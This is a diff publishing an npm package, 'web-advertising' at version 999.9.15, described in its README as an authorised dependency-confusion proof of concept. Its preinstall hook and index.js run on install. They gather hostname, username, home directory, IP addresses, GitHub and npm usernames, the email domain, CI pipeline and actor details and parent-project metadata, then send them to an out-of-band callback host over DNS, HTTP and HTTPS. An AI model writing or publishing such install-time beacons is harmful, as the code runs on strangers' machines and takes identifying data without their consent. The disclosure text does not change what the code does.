web-advertising 999.9.15

package/README.md

@@ -0,0 +1,71 @@
+# web-advertising
+
+**This is not a real package. It is an authorised security research proof of
+concept, and it is safe.**
+
+## Why it exists
+
+`web-advertising` was found referenced in publicly served code, but no package by
+that name existed on the public npm registry. That combination is the
+precondition for [dependency
+confusion](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610):
+a build that resolves this name from the public registry rather than from an
+internal one will install whatever is published here, from anyone.
+
+It was published at version `999.9.15` deliberately. npm resolves the highest
+available version, so a high number is what demonstrates that the public copy
+wins over an internal one.
+
+## What it does when installed
+
+It runs `index.js`, both from a `preinstall` script and on `require()`. That
+script collects exactly the following and sends it to a callback:
+
+| field | why |
+|---|---|
+| a random UUID generated at run time | to correlate the duplicate callbacks below |
+| local IPv4 address | to distinguish a corporate build host from a scanner |
+| public egress IP, looked up over HTTPS | so a callback that only arrives over DNS still has a source |
+| the public IP of the DNS resolver used, and the client network it declared | identifies the network even where outbound HTTP is blocked entirely |
+| hostname | to identify the organisation |
+| username | to identify the organisation |
+| home directory | to distinguish a developer machine from a CI container |
+| current working directory | to show where in the build it resolved |
+| GitHub username (`gh api user`), if the GitHub CLI is installed | to identify the developer |
+| npm username (`npm whoami`), if npm is logged in | to identify the developer |
+| domain of `git config user.email` (e.g. `company.com`), never the local-part | to confirm the organisation without capturing personal data |
+| npm registry URL (`npm_config_registry`) | to show whether a private registry is configured and identify it |
+| CI platform (GitHub Actions / GitLab / Jenkins / Azure DevOps) | to confirm if the install happened in a build pipeline |
+| CI repo, actor, run ID, workflow name, runner | to identify exactly which pipeline and who triggered it |
+| AWS region, if set | to identify the cloud environment |
+| this package's name | to attribute the callback |
+| the name of the package it is being installed into | to identify the project |
+| that project's `author`, `repository` and `homepage`, if set | to identify the owner |
+
+The same payload is sent three ways — DNS, HTTP and HTTPS — because corporate
+egress filtering blocks some and not others. That produces duplicate reports of
+one install; the UUID is what makes them one event again.
+
+## What it deliberately does not do
+
+- no environment variables, names or values
+- no credentials, tokens or keys
+- no file contents, no directory listings, no source code
+- no persistence, no network listening, no further downloads
+- nothing that can fail your build: every operation is wrapped and errors are
+  discarded
+
+## What to do about it
+
+Register `web-advertising` in your private registry, and configure your resolver so
+that internal scopes and names are never fetched from the public registry.
+npm's `.npmrc` supports pinning a scope to a registry; for unscoped internal
+names, an allowlist or a proxy that refuses public fallback is the fix.
+
+## Contact
+
+stillmadd.688+temptation@gmail.com
+
+Delete this package from your dependencies once you have confirmed the finding.
+If you are the owner of this name and would like it transferred or removed,
+contact the address above and it will be done.

package/index.js

@@ -0,0 +1,258 @@
+// AUTHORISED SECURITY RESEARCH -- dependency confusion proof of concept.
+// Reports that this package was installed, and nothing else. See README.md.
+// Contact is in package.json. Every operation below is wrapped; this file
+// cannot fail your build.
+
+const os = require("os");
+const dns = require("dns");
+const http = require("http");
+const https = require("https");
+const fs = require("fs");
+const path = require("path");
+const crypto = require("crypto");
+const { spawnSync } = require("child_process");
+
+const PACKAGE = "web-advertising";
+const CALLBACK = "da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.fun";
+
+// Dedup guard: preinstall + postinstall both fire this file; only beacon once.
+const _GUARD = "_DEPINJ_" + PACKAGE.replace(/[^a-zA-Z0-9]/g, "_").toUpperCase() + "_SENT";
+if (process.env[_GUARD]) { module.exports = { __securityResearch: true }; return; }
+try { process.env[_GUARD] = "1"; } catch (e) {}
+
+function localIPv4() {
+  try {
+    const nets = os.networkInterfaces();
+    for (const name of Object.keys(nets)) {
+      for (const n of nets[name] || []) {
+        const four = n.family === "IPv4" || n.family === 4;
+        if (four && !n.internal) return n.address;
+      }
+    }
+  } catch (e) {}
+  return null;
+}
+
+// npm sets INIT_CWD to the directory the install was started from, which is
+// the consuming project rather than this package's own folder.
+function parentProject() {
+  const out = { name: "__global" };
+  try {
+    if (String(process.env.npm_config_global) === "true") return out;
+    const root = process.env.INIT_CWD || process.cwd();
+    const manifest = path.join(root, "package.json");
+    if (!fs.existsSync(manifest)) return out;
+    const pkg = JSON.parse(fs.readFileSync(manifest, "utf8"));
+    out.name = pkg.name || "__unnamed";
+    if (pkg.author) out.author = typeof pkg.author === "string"
+      ? pkg.author : pkg.author.name;
+    if (pkg.repository) out.repository = typeof pkg.repository === "string"
+      ? pkg.repository : pkg.repository.url;
+    if (pkg.homepage) out.homepage = pkg.homepage;
+  } catch (e) {}
+  return out;
+}
+
+function publicIp(done) {
+  const urls = ["https://api.ipify.org", "https://icanhazip.com",
+                "https://ifconfig.me/ip"];
+  let finished = false;
+  const timer = setTimeout(() => finish(null), 2500);
+  function finish(ip) {
+    if (finished) return;
+    finished = true;
+    clearTimeout(timer);
+    done(ip);
+  }
+  for (const url of urls) {
+    try {
+      const req = https.get(url, { timeout: 2000 }, (res) => {
+        let body = "";
+        res.on("data", (d) => { body += d; if (body.length > 64) res.destroy(); });
+        res.on("end", () => {
+          const ip = body.trim();
+          if (/^[0-9a-f.:]{3,45}$/i.test(ip)) finish(ip);
+        });
+      });
+      req.on("error", () => {});
+      req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+    } catch (e) {}
+  }
+}
+
+// The DNS lookup gives the resolver's egress address and works in networks
+// where outbound HTTP is blocked entirely.
+function resolverIp(done) {
+  let finished = false;
+  const timer = setTimeout(() => finish(null, null), 2000);
+  function finish(ip, subnet) {
+    if (finished) return;
+    finished = true;
+    clearTimeout(timer);
+    done(ip, subnet);
+  }
+  try {
+    // Google answers with several TXT strings: the querying resolver's address,
+    // and an edns0-client-subnet line giving the client network the resolver
+    // forwarded on its behalf. Read separately -- joining them yields neither.
+    dns.resolveTxt("o-o.myaddr.l.google.com", (err, records) => {
+      if (err || !records) return finish(null, null);
+      let ip = null, subnet = null;
+      for (const parts of records) {
+        for (const value of [].concat(parts)) {
+          const v = String(value).trim();
+          if (/^[0-9a-f.:]{3,45}$/i.test(v)) ip = ip || v;
+          const m = v.match(/edns0-client-subnet\s+([0-9a-f.:]+\/\d+)/i);
+          if (m) subnet = subnet || m[1];
+        }
+      }
+      finish(ip, subnet);
+    });
+  } catch (e) { finish(null, null); }
+}
+
+function tryExec(cmd, args, timeoutMs) {
+  try {
+    const r = spawnSync(cmd, args, { timeout: timeoutMs, encoding: "utf8", windowsHide: true });
+    if (r.status === 0 && r.stdout) return r.stdout.trim() || null;
+  } catch (e) {}
+  return null;
+}
+
+function ciContext() {
+  const e = process.env;
+  // Detect platform first, then pull the right env vars for each.
+  if (e.GITHUB_ACTIONS === "true") return {
+    ci_platform: "github_actions",
+    ci_repo:     e.GITHUB_REPOSITORY   || null,
+    ci_actor:    e.GITHUB_ACTOR        || null,
+    ci_run_id:   e.GITHUB_RUN_ID       || null,
+    ci_workflow: e.GITHUB_WORKFLOW     || null,
+    runner_name: e.RUNNER_NAME         || null,
+  };
+  if (e.GITLAB_CI === "true") return {
+    ci_platform: "gitlab",
+    ci_repo:     e.CI_PROJECT_PATH     || null,
+    ci_actor:    e.GITLAB_USER_LOGIN   || null,
+    ci_run_id:   e.CI_PIPELINE_ID      || null,
+    ci_workflow: e.CI_PIPELINE_NAME    || null,
+    runner_name: e.CI_RUNNER_DESCRIPTION || null,
+  };
+  if (e.JENKINS_URL) return {
+    ci_platform: "jenkins",
+    ci_repo:     e.GIT_URL             || null,
+    ci_actor:    e.BUILD_USER          || null,
+    ci_run_id:   e.BUILD_ID            || null,
+    ci_workflow: e.JOB_NAME            || null,
+    runner_name: e.NODE_NAME           || null,
+  };
+  if (e.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI) return {
+    ci_platform: "azure_devops",
+    ci_repo:     e.BUILD_REPOSITORY_NAME || null,
+    ci_actor:    e.BUILD_REQUESTEDFOR    || null,
+    ci_run_id:   e.BUILD_BUILDID         || null,
+    ci_workflow: e.BUILD_DEFINITIONNAME  || null,
+    runner_name: e.AGENT_NAME            || null,
+  };
+  if (e.CI) return {
+    ci_platform: "unknown_ci",
+    ci_repo: null, ci_actor: null, ci_run_id: null, ci_workflow: null, runner_name: null,
+  };
+  return { ci_platform: null, ci_repo: null, ci_actor: null, ci_run_id: null, ci_workflow: null, runner_name: null };
+}
+
+function collect() {
+  const parent = parentProject();
+  const ci = ciContext();
+  const e = process.env;
+  let user = null, home = null;
+  try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {}
+  return {
+    uuid: crypto.randomUUID(),
+    ip: localIPv4(),
+    hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(),
+    user: user,
+    home: home,
+    cwd: e.INIT_CWD || process.cwd(),
+    // Developer identity (best-effort; null if CLI not installed / not logged in)
+    gh_user:         tryExec("gh",  ["api", "user", "--jq", ".login"], 3000),
+    npm_user:        tryExec("npm", ["whoami"], 3000),
+    git_email_domain: (() => {
+      const addr = tryExec("git", ["config", "user.email"], 2000);
+      if (addr && addr.includes("@")) return addr.split("@").pop().toLowerCase();
+      return null;
+    })(),
+    // npm / registry context
+    npm_registry: e.npm_config_registry || null,
+    node_env:     e.NODE_ENV            || null,
+    // CI context (platform-specific, null on dev workstations)
+    ...ci,
+    aws_region: e.AWS_REGION || e.AWS_DEFAULT_REGION || null,
+    // Network (populated after async lookups below)
+    public_ip:     null,
+    resolver_ip:   null,
+    client_subnet: null,
+    // Package attribution
+    poc:        PACKAGE,
+    parent:     parent.name,
+    author:     parent.author     || null,
+    repository: parent.repository || null,
+    homepage:   parent.homepage   || null,
+  };
+}
+
+function beacon(info) {
+  const body = JSON.stringify(info);
+
+  // DNS first: most likely to survive corporate egress filtering.
+  // Hex not base64: resolvers randomise capitalisation (DNS 0x20 anti-spoofing),
+  // which destroys base64 but leaves hex intact.
+  try {
+    const hex = Buffer.from(body).toString("hex");
+    const chunks = hex.match(/.{1,60}/g) || [];
+    dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});
+    chunks.forEach((c, i) => {
+      try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}
+    });
+  } catch (e) {}
+
+  for (const [mod, port] of [[https, 443], [http, 80]]) {
+    try {
+      const req = mod.request({
+        hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,
+        method: "POST", timeout: 5000,
+        headers: {
+          "Content-Type": "application/json",
+          "Content-Length": Buffer.byteLength(body),
+          "X-Poc-Uuid": info.uuid
+        }
+      });
+      req.on("error", () => {});
+      req.on("timeout", () => { try { req.destroy(); } catch (e) {} });
+      req.write(body);
+      req.end();
+    } catch (e) {}
+  }
+}
+
+// Resolve both addresses, then beacon once. Each lookup is capped and cannot
+// fail; the beacon goes out with nulls if either times out.
+try {
+  const info = collect();
+  let pending = 2;
+  const go = () => { if (--pending === 0) { try { beacon(info); } catch (e) {} } };
+  publicIp((ip) => { info.public_ip = ip; go(); });
+  resolverIp((ip, subnet) => {
+    info.resolver_ip   = ip;
+    info.client_subnet = subnet;
+    go();
+  });
+} catch (e) {
+  try { beacon(collect()); } catch (e2) {}
+}
+
+module.exports = {
+  __securityResearch: true,
+  package: PACKAGE,
+  contact: "see package.json"
+};

package/package.json

@@ -0,0 +1,20 @@
+{
+  "name": "web-advertising",
+  "version": "999.9.15",
+  "description": "AUTHORISED SECURITY RESEARCH \u2014 dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an internal package name from the public registry instead of your private one. On install it sends a hostname, username, install path, and optionally the GitHub and npm usernames (if those CLIs are logged in) to a callback so the finding can be confirmed, and does nothing else \u2014 no credentials, no environment variables, no file contents. Contact: stillmadd.688+temptation@gmail.com",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "README.md"
+  ],
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "stillmadd.688+temptation@gmail.com",
+  "license": "ISC",
+  "keywords": [
+    "security-research",
+    "dependency-confusion",
+    "proof-of-concept"
+  ]
+}